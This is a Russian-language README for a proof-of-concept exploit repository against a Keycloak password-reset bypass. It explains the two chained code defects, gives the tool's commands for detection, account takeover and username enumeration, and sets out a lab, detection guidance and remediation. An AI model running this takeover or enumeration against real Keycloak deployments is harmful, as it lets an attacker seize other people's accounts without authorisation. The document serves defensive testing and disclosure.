
Эксплойт для Keycloak CVE-2026-18963, позволяющий неавторизованный захват учётной записи через обход сброса учётных данных. Включает безопасное обнаружение, неразрушающее доказательство, полный захват, перечисление имён пользователей и лабораторию с уязвимой и исправленной версиями.
Зная только имя пользователя или адрес электронной почты, неаутентифицированный злоумышленник устанавливает произвольный пароль на любой учётной записи Keycloak. Письмо о сбросе пароля доставляется реальной жертве и никогда не требуется — злоумышленник не читает почтовый ящик, не переходит по ссылкам и не имеет ни предыдущих учётных данных, ни сессии.
Затронуто: Keycloak 26.0.0 – 26.7.1. Исправлено в 26.7.2.
Одна команда. Действительное имя пользователя не требуется, и побочных эффектов нет — она не отправляет письмо, не изменяет ни одну учётную запись и останавливается до эксплуатируемого шага.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+, только стандартная библиотека. Ничего устанавливать не нужно.
| Код выхода | Вердикт | Значение |
|:---:|---|---|
| `0` | 🔴 **УЯЗВИМО** | был отдан припаркованный почтовый шлюз — сама ошибка |
| `2` | 🟢 **ИСПРАВЛЕНО** | поток переключился на вход и остался там (исправление #51844 присутствует) |
| `2` | 🟡 **СМЯГЧЕНО** | сброс учётных данных недоступен — *Забыли пароль* отключён. **Это не исправление.** |
| `3` | ⚪ **НЕОПРЕДЕЛЁННО** | нераспознанный ответ — **не воспринимайте это как прохождение проверки** |
Запускайте для каждого realm — *Забыли пароль* — это настройка на уровне realm, и `master` тоже учитывается.
Подробности и объяснение, почему проверке не нужен пользователь и она ничего не затрагивает, — в
[§4a](#4a-safe-detection---safe-check--start-here).
**Уже знаете, что вы уязвимы?** Переходите к [устранению](#8-remediation) и
[обнаружению / охоте за угрозами](#9-detection).
### Попробуйте без цели
В репозитории есть лаборатория, которая запускает уязвимую **26.7.1** и исправленную **26.7.2**
бок о бок с одинаковым realm, а также почтовый ящик, чтобы увидеть, как письмо о сбросе
приходит и остаётся непрочитанным, пока учётная запись захватывается:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ Только авторизованное тестирование
Этот репозиторий предназначен для защитников, специалистов по реагированию на инциденты и авторизованных пентестеров. Запускайте его только против систем, которыми вы владеете или на тестирование которых у вас есть письменное разрешение. Всё здесь поставляется с самодостаточной уязвимой лабораторией (
lab/), поэтому для изучения работы бага не требуется трогать ничего внешнего. Направление его на стороннюю инфраструктуру без авторизации незаконно в большинстве юрисдикций и не поддерживается этим проектом.
Ссылки: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · исправление keycloak#51844
Два дефекта, объединённые в цепочку. Ни один из них не эксплуатируется по отдельности.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — любой POST, содержащий ключ формы tryAnotherWay:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
Заметка представляет собой **голый булев флаг без записи о том, какой набор выполнения его установил**. Он сбрасывается только в ветке, которая обрабатывает переданный параметр `authenticationExecution`. Если опустить этот параметр — как это делает данный PoC на протяжении всего кода — флаг остаётся установленным на всё время жизни сессии аутентификации.
`processFlow()` — пока флаг истинен, обычная оценка потока пропускается:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
It renders a submittable form aimed at whatever execution is currently parked, instead of keeping the session pinned on "waiting for the e-mail".
The glue is processResult() case FORK: — when Send Reset Email fires it stamps
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> and forks
the browser to the login page. The parked execution is precisely the e-mail gate.
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
Unconditional. Ничто не проверяет, что поток был возобновлён действительным токеном действия,
поэтому *достижение* `action()` рассматривается как эквивалент доказательства контроля над почтовым ящиком.
### Цепочка```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Шесть HTTP-запросов, без аутентификации, параметр authenticationExecution не используется ни в один момент.
model.getId(), а processFlow() учитывает её только когда она
равна CURRENT_AUTHENTICATION_EXECUTION, в противном случае удаляет её. В атаке эти два
значения различаются (id выбора пользователя против id e-mail-gate) — именно это обнаруживает патч,
и именно на этот сигнал опирается --safe-check.ResetCredentialEmail.action() теперь требует
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
и в противном случае завершается ошибкой INVALID_USER.6a9e60bb, который добавил экран выбора аутентификатора «Try another way» в
поток сброса. Всё, что старше, просто не содержит этого пути кода. Это включает старые
дистрибутивы на базе WildFly и RH-SSO 7.x, которые не затронуты этой ошибкой,
оставаясь при этом снятыми с поддержки и уязвимыми ко множеству других. Оставаться на
устаревшей сборке — не является мерой устранения.26.7.2 — единственный исправленный релиз,
опубликованный для сообщества. Если развёртывание находится на 26.0 – 26.6, то
патч-релиза на этой линии нет — исправление требует обновления минорной версии, а не
точечного релиза. Теги 26.4.15 / 26.6.6 — это бэкпорты от вендора и не
взаимозаменяемы с образами сообщества.Предусловия: в realm включён Forgot password и привязанный
поток сброса учётных данных использует встроенный аутентификатор reset-credential-email.
Репозиторий поставляет как уязвимый, так и пропатченный Keycloak, импортируя идентичный realm, а также Mailpit для перехвата письма о сбросе — так вы можете наблюдать, как оно приходит и остаётся непрочитанным, пока учётная запись захватывается.```bash cd lab docker compose up -d
| Service | URL | Version |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **уязвимая** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **исправленный контроль** |
| `kc-mailpit` | http://localhost:8025 | почтовый ящик жертвы |
Realm `poc`, публичный клиент `poc-app`, пользователь `victim` / `OriginalPassw0rd!`, администратор
Keycloak `admin` / `admin`.
Закрепите разные сборки с помощью `KC_VULN_VERSION` / `KC_PATCHED_VERSION`:```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln
Между запусками lab/reset-victim.sh восстанавливает пароль жертвы
(KC=http://localhost:8100 lab/reset-victim.sh нацелен на пропатченный экземпляр).
lab/legit_reset.py выполняет настоящий сброс, извлекая ссылку с action-token
из Mailpit и переходя по ней. Это контрольный образец для работы по обнаружению в
§9 — запустите его и эксплойт против одного и того же realm, затем сравните трассировки.
Завершение работы: docker compose down -v.
Python 3.9+, только стандартная библиотека — без зависимостей, разворачивается на любой jump box.``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE
`--client-id` может быть любым включённым публичным клиентом со стандартным потоком. Встроенный
клиент `account` существует в каждом realm и является надёжным выбором, но он ограничивает
redirect URI, поэтому `--redirect-uri` **обязательно** должен быть
`<base>/realms/<realm>/account/` — значение по умолчанию отклоняется, и шаг 1 завершается неудачей.
### 4a. Безопасное обнаружение (`--safe-check`) — начните здесь
Не требует **действительного имени пользователя** и **не имеет побочных эффектов**. Это тот зонд, который следует использовать,
когда нельзя нарушать работу цели.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check
Почему ему не нужен пользователь и он не отправляет письма. ResetCredentialEmail.authenticate()
также разветвляется и для неизвестного пользователя:```java
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }
`processResult()` `case FORK:` поэтому паркует `CURRENT_AUTHENTICATION_EXECUTION`
на выполнении e-mail **даже если никто не найден** — и письмо не отправляется,
потому что отправлять некому. Зонд останавливается на дискриминаторе и никогда
не POST-ит шлюз, поэтому `action()` не выполняется: нет NPE на цели, нет записи `emailVerified`,
нет письма, аккаунт не затронут.
**Он утверждает только по положительному сигналу.** УЯЗВИМ ⟺ шаг 5 возвращает форму
всё ещё внутри `login-actions/reset-credentials`, чей `execution` отличается от
execution выбора пользователя. Это *и есть* баг: устаревшая
заметка `AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED`, обслуживающая припаркованный e-mail шлюз.
Обе половины важны — путь доказывает, что мы всё ещё в потоке сброса, а отличающийся
id execution доказывает, что это e-mail шлюз, а не повторный рендер.
Всё остальное **не** молча объявляется исправленным. PATCHED требует собственных доказательств
(форк на `login-actions/authenticate` *и* наличие поля ввода пароля); всё
остальное — INCONCLUSIVE и требует участия человека. Более ранний дизайн считал «не форму шлюза»
исправленной, что тихо превращает каждую кастомную тему, страницу ошибки, WAF-блок
и промежуточную страницу в ложное заключение о полной безопасности.
### 4b. Нераэрушающая проверка (`--check`)
Проводит всю цепочку, но останавливается на форме Update Password. Достижение этой формы
без action-токена является убедительным доказательством.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim [email protected] --check
Два побочных эффекта неизбежны, поскольку они происходят выше по потоку от формы пароля — укажите их в объёме работ:
action() устанавливает emailVerified = true на учётной записи.Никакие учётные данные не изменяются. Предпочтительно использовать выделенную тестовую учётную запись.
Только лабораторная или явно авторизованная демонстрация.```bash
python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'
Выход `0` — уязвим · `2` — не эксплуатируется · `1` — пароль изменён, но подтверждающий
грант не удался (укажите `--verify-client-id` на клиента с Direct Access Grants).
Завершение потока также возвращает **OIDC-код авторизации для жертвы**, поэтому
захват происходит немедленно — повторный вход с новым паролем не требуется.
### 4d. Перечисление имён пользователей (`--enum`)
Тот же недостаток является оракулом имён пользователей, причём более сильным, чем
обычно допускает Keycloak. `ResetCredentialEmail.authenticate()` намеренно возвращает
одинаковое *«Вы должны вскоре получить письмо»* для реальных и неизвестных пользователей,
поэтому сама форма сброса не может использоваться для перечисления — эта защита
сохраняется на шаге 4. Она ломается на **шаге 6**, где `action()` безусловно
разыменовывает пользователя (`context.getUser().setEmailVerified(true)`).
| Идентификатор | Шаг 6 | Вердикт |
|---|---|---|
| реальный пользователь | `200`, достигает формы смены пароля | ДЕЙСТВИТЕЛЕН |
| неизвестный пользователь | `400` (страница ошибки NPE) | НЕДЕЙСТВИТЕЛЕН |```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txt
Никогда не меняет пароль. Выход 0, если какой-либо идентификатор разрешился, иначе 2.
Стоимость одного запроса — прочтите перед запуском. Для обращения к оракулу необходимо пройти шаг 4, поэтому каждый запрос к реальной учётной записи отправляет этому человеку настоящее письмо для сброса пароля и устанавливает emailVerified = true в его записи. Это не тихая проверка: она видна владельцу учётной записи и изменяет его данные. Список из 5 000 имён — это 5 000 писем реальным людям и 5 000 изменённых учётных записей.
Используйте её, чтобы продемонстрировать существование оракула на нескольких идентификаторах для отчёта, а не для сбора каталога. Ограничения намеренно консервативны:
--enum-max N отклоняет списки длиннее N (по умолчанию 25)--enum-delay SEC делает паузу между запросами (по умолчанию 2.0)Повышение любого из них должно быть осознанным решением, зафиксированным в заметках о тестировании.
Угол для отчёта: это обходит контроль защиты от перечисления, который Keycloak реализовал намеренно. Это стоит оформить как отдельную находку наряду с захватом учётной записи, и это опровергает «наши имена пользователей невозможно угадать» как смягчающий фактор.
Любое серьёзное развёртывание поставляется с пользовательской темой входа, а пользовательские темы переименовывают или удаляют стандартные идентификаторы элементов (kc-form-login, kc-reset-password-form, kc-select-credential-form, kc-passwd-update-form). Инструмент, который опирается на эти идентификаторы, выдаёт ложноотрицательный результат именно на тех развёртываниях, которые важнее всего, — этот инструмент так и делал, пока его не переписали. Встречающиеся в реальной практике темы используют идентификаторы вида id="login-form" и содержат ссылку забыли пароль с пустым атрибутом href.
Поэтому данная PoC не опирается ни на что, что контролирует тема:
action= форм на странице — login-actions/reset-credentials, login-actions/authenticate, login-actions/required-action — и параметра запроса execution внутри них. Эти пути генерируются собственным LoginActionsService Keycloak, а не темой.grep по исходному коду: в нём нет ни одного идентификатора kc-*./realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… и проверяет её напрямую, беря tab_id из любой формы, которую страница входа действительно отображает.Если цель по-прежнему возвращает INCONCLUSIVE, запустите с --verbose --dump out.html и прочитайте ответ — инструмент намеренно отказывается угадывать.
Клиент, который принудительно использует PKCE, отклоняет шаг 1 с ошибкой Missing parameter: code_challenge_method. Это сообщается как INCONCLUSIVE (выход 3), но никогда как успех. Пока не будет добавлена поддержка PKCE, realm, единственный пригодный публичный клиент которого требует PKCE, нельзя проверить этим инструментом — попробуйте встроенный клиент account, который обычно не требует PKCE.
Каждый запуск ниже выполнен против лабораторного стенда в этом репозитории с использованием опубликованного кода.
Две находки, которые стоит выделить помимо текста рекомендации:
ResetCredentialEmail.authenticate() выбирает путь forkWithSuccessMessage, когда user.getEmail() равен null, что по-прежнему приостанавливает выполнение через case FORK:. То же самое справедливо при сбое отправки SMTP — сломанный или отсутствующий почтовый сервер не является смягчением. Это напрямую касается realm с федерацией AD/LDAP, где учётные записи часто не содержат атрибута почты.MFA не является смягчением. Поток сброса учётных данных по умолчанию не содержит шага OTP, и, пройдя его, атакующий может удалить зарегистрированные факторы жертвы.
Исправление: обновление. 26.7.2 для сборок сообщества или тег бэкпорта от вендора, соответствующий вашей подписке. Всё ниже — временные меры.
Промежуточные смягчения, от лучшего к худшему:
master.Realm, чей привязанный поток сброса полностью кастомный и никогда не вызывает reset-credential-email, не эксплуатируемы через этот путь.
Keycloak не генерирует событие «action token пропущен», поэтому обнаружение эвристическое. Запустите lab/legit_reset.py вместе с эксплойтом, чтобы получить оба набора трасс и сравнить их.
GET /login-actions/action-token?... (жертва нажимает на ссылку из письма) до смены пароля. При обходе такого GET нет. Вместо этого виден POST на login-actions/reset-credentials, тело которого содержит tryAnotherWay, за которым следует второй POST на тот же путь с пустым телом, а затем форма пароля. POST с tryAnotherWay внутри потока сброса — это не то, что стандартный UI создаёт при обычном использовании.SEND_RESET_PASSWORD, за которым следует UPDATE_PASSWORD с тем же code_id в течение нескольких секунд — в лаборатории менее секунды. Пользователь с уже открытым письмом тоже может сработать быстро, поэтому подтверждайте журналами прокси.emailVerified переключился на true без соответствующего события VERIFY_EMAIL, — полезный вспомогательный индикатор, и атакующий не может избежать его появления.Отсутствие событий ничего не доказывает, если ведение журнала событий или их хранение были отключены. Проверьте окно хранения, прежде чем делать вывод, что развёртывание не было затронуто.
Snizi — github.com/Snizi — [email protected]
Выпущено под лицензией MIT. Приветствуются вопросы и PR — особенно поддержка PKCE и дополнительные особенности реальных тем.
| Линия | Уязвимая | Исправление в сообществе |
|---|
| Legacy (Keycloak на базе WildFly, ≤ 17) | не затронута | — |
| Quarkus 17 – 25.x | не затронута | — |
| 26.0 | 26.0.0 – 26.0.17 | нет |
| 26.1 | 26.1.0 – 26.1.5 | нет |
| 26.2 | 26.2.0 – 26.2.16 | нет |
| 26.3 | 26.3.0 – 26.3.5 | нет |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (тег бэкпорта от вендора) |
| 26.5 | 26.5.0 – 26.5.7 | нет |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (тег бэкпорта от вендора) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
| Код выхода | Вердикт | Значение |
|---|
0 | УЯЗВИМО | был обслужен отложенный почтовый шлюз — сама ошибка |
2 | ИСПРАВЛЕНО | поток переключился на вход и остался там (исправление #51844 присутствует) |
2 | СМЯГЧЕНО | сброс учётных данных недоступен — Забыли пароль отключён. Это не исправление. |
3 | НЕОПРЕДЕЛЁННО | нераспознанный ответ — не воспринимайте это как успешный проход |
| Тест | Цель | Результат |
|---|
--safe-check | 26.7.1 | VULNERABLE, выход 0 — шлюз электронной почты обслужен (execution ≠ choose-user) |
--safe-check | 26.7.2 | PATCHED, выход 2 — переключено на вход и осталось там |
--safe-check, Забыли пароль выключено | 26.7.2 | MITIGATED, выход 2 — HTTP 400, поток недостижим |
| Полный захват | 26.7.1 | выход 0 — пароль установлен, код OIDC выдан, password grant подтверждает |
| Полный захват | 26.7.2 | выход 2 — заблокировано на шаге 5, учётная запись не тронута |
--check | 26.7.1 | достигнут UPDATE_PASSWORD; пароль после этого проверен как неизменённый |
--enum | 26.7.1 | victim и [email protected] VALID, does-not-exist INVALID |
| Состояние учётных данных после захвата | 26.7.1 | новый пароль → 200, старый пароль → 400 |
| Состояние учётных данных после заблокированного запуска | 26.7.2 | старый пароль → 200, пароль атакующего → 400 |
| Почтовый ящик жертвы | Mailpit | письма о сбросе доставлены и не прочитаны; ссылка с action-token никогда не запрашивается |